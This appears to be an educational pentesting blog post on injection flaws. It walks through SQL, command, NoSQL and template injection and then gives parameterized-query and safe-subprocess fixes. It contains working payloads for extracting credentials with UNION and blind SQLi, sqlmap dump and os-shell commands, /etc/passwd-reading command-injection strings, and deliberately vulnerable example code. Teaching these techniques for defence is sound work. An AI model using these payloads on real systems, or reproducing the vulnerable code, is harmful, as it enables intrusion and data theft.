The Vulnerability That Refuses to Die
In December 2024, attackers exploited a SQL injection flaw in BeyondTrust's remote access products. Within weeks, they'd pivoted to a second SQL injection zero-day in PostgreSQL itself, achieving arbitrary code execution on database servers worldwide.
In early 2024, the ResumeLooters gang compromised 65 recruitment websites across Asia using nothing but SQL injection, stealing over 2 million records containing names, phone numbers, and employment histories.
Injection has dropped from #3 to #5 on the OWASP Top 10 for 2025. But don't let the ranking fool you. It remains one of the most dangerous, most exploitable, and most consistently successful attack vectors we encounter.
What Is Injection?
Injection occurs when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or accessing unauthorized data.
The concept is deceptively simple: wherever user input meets an interpreter, injection is possible.
The interpreter could be:
- SQL database → SQL Injection
- Operating system shell → Command Injection
- NoSQL database → NoSQL Injection
- LDAP directory → LDAP Injection
- Template engine → Server-Side Template Injection (SSTI)
- XML parser → XPath/XQuery Injection
The Attacker's View: Injection Hunting Methodology
Phase 1: Identify Injection Points
Every user-controllable input is a candidate:
- URL parameters (
?id=1) - POST body data
- HTTP headers (User-Agent, Referer, X-Forwarded-For)
- Cookies
- JSON/XML payloads
- File upload names
- Hidden form fields
Phase 2: Determine the Backend Technology
Fingerprinting helps us craft targeted payloads:
GET /product?id=1' HTTP/1.1
Error responses reveal the stack:
You have an error in your SQL syntax→ MySQLORA-01756: quoted string not properly terminated→ OracleUnclosed quotation mark→ MSSQLsyntax error at or near→ PostgreSQLMongoError→ MongoDB
SQL Injection Deep Dive
SQL injection remains the king of injection attacks. Let's break down the major techniques.
Classic (In-Band) SQL Injection
The simplest form — results are returned directly in the response.
Vulnerable PHP code:
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $query);
Attack payload:
/product?id=1' OR '1'='1
Resulting query:
SELECT * FROM products WHERE id = '1' OR '1'='1'
This returns all products. But we can do much worse.
UNION-Based Extraction
When you can see query output, UNION attacks let you extract arbitrary data.
Step 1: Determine column count
/product?id=1' ORDER BY 1-- -
/product?id=1' ORDER BY 2-- -
/product?id=1' ORDER BY 3-- - ← Error here means 2 columns
Step 2: Find displayable columns
/product?id=-1' UNION SELECT 'test1','test2'-- -
Step 3: Extract data
/product?id=-1' UNION SELECT username,password FROM users-- -
Blind SQL Injection
No visible output? No problem. We extract data one bit at a time.
Boolean-based blind:
/product?id=1' AND SUBSTRING(username,1,1)='a'-- - ← Different response if true
/product?id=1' AND SUBSTRING(username,1,1)='b'-- -
Time-based blind:
/product?id=1' AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0)-- -
If the response takes 5 seconds, the first character is 'a'.
SQLMap: The Pentester's Best Friend
Why do this manually when SQLMap exists?
# Basic detection and exploitation
sqlmap -u "http://target.com/product?id=1" --dbs
# With authentication
sqlmap -u "http://target.com/product?id=1" --cookie="session=abc123" --dbs
# POST request
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username
# Dump specific table
sqlmap -u "http://target.com/product?id=1" -D webapp -T users --dump
# OS shell (if privileged)
sqlmap -u "http://target.com/product?id=1" --os-shell
Command Injection
When user input reaches a system shell, the damage potential is unlimited.
The Vulnerability
Vulnerable Node.js code:
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
exec(`ping -c 4 ${host}`, (error, stdout, stderr) => {
res.send(stdout);
});
});
Attack Payloads
# Semicolon - run second command regardless
;cat /etc/passwd
# AND - run second command if first succeeds
&& cat /etc/passwd
# OR - run second command if first fails
|| cat /etc/passwd
# Pipe - pass output to second command
| cat /etc/passwd
# Backticks - command substitution
`cat /etc/passwd`
# $() - command substitution
$(cat /etc/passwd)
NoSQL Injection
MongoDB and other NoSQL databases aren't immune — they just need different payloads.
Operator Injection
{
"username": "admin",
"password": {"$ne": ""}
}
This query becomes: findOne({ username: "admin", password: { $ne: "" } })
Translation: Find admin where password is not empty — always true.
Other useful operators:
{"$gt": ""} // Greater than empty string
{"$regex": "^a"} // Password starts with 'a' (blind extraction)
{"$where": "sleep(5000)"} // Time-based blind
Server-Side Template Injection (SSTI)
Modern frameworks use template engines. When user input reaches templates unsanitized, it's game over.
Identifying Template Engines
Inject mathematical expressions and observe:
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (FreeMarker, Velocity)
#{7*7} → 49 (Thymeleaf)
<%= 7*7 %> → 49 (ERB)
Real-World Damage: MOVEit Transfer (2023-2024)
A single SQL injection vulnerability (CVE-2023-34362) in Progress Software's MOVEit file transfer platform became one of the most devastating breaches in history.
Attack vector: Unauthenticated SQL injection
Exploited by: Cl0p ransomware gang
Impact:
- 2,600+ organizations compromised
- 77+ million individuals affected
- Victims included BBC, British Airways, Shell, US Department of Energy
The kicker? It was a basic SQL injection. No advanced techniques required.
Fix It: Secure Code Patterns
SQL Injection Prevention
Use parameterized queries (prepared statements):
# Python with SQLite - SECURE
def get_user_secure(user_id):
conn = sqlite3.connect('users.db')
c = conn.cursor()
c.execute("SELECT * FROM users WHERE id = ?", (user_id,))
return c.fetchone()
# PHP with PDO - SECURE
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $id]);
Command Injection Prevention
Avoid shell execution entirely:
# VULNERABLE
os.system(f"ping -c 4 {host}")
# SECURE - Use subprocess with list arguments (no shell)
import subprocess
def ping_secure(host):
# Validate input first
if not re.match(r'^[a-zA-Z0-9.-]+$', host):
raise ValueError("Invalid hostname")
# Use list arguments - no shell interpretation
result = subprocess.run(
['ping', '-c', '4', host],
capture_output=True,
text=True,
timeout=10
)
return result.stdout
Defense in Depth
Beyond fixing the code:
- Least privilege — Database users should only have necessary permissions
- WAF rules — Block obvious injection patterns
- Input validation — Allow-list acceptable characters
- Error handling — Never expose stack traces or SQL errors
- Security testing — Include SAST/DAST in CI/CD pipeline
- Monitoring — Alert on SQL errors and unusual queries
Key Takeaways
Injection has been on the OWASP Top 10 since the list began. It dropped to #5 in 2025, but not because we've solved it — we've just gotten slightly better at finding other problems.
The uncomfortable truth:
- 26% of 2024 data breaches involved injection attacks
- SQLi vulnerabilities are increasing, not decreasing
- Basic parameterized queries would prevent 99% of SQL injection
- MOVEit affected 77 million people from a textbook SQL injection
As pentesters, injection remains our bread and butter. The patterns are predictable, the tools are mature, and the payoff is almost always high-value data or system access.
The fix is known. The tools exist. The training is available. And yet, here we are.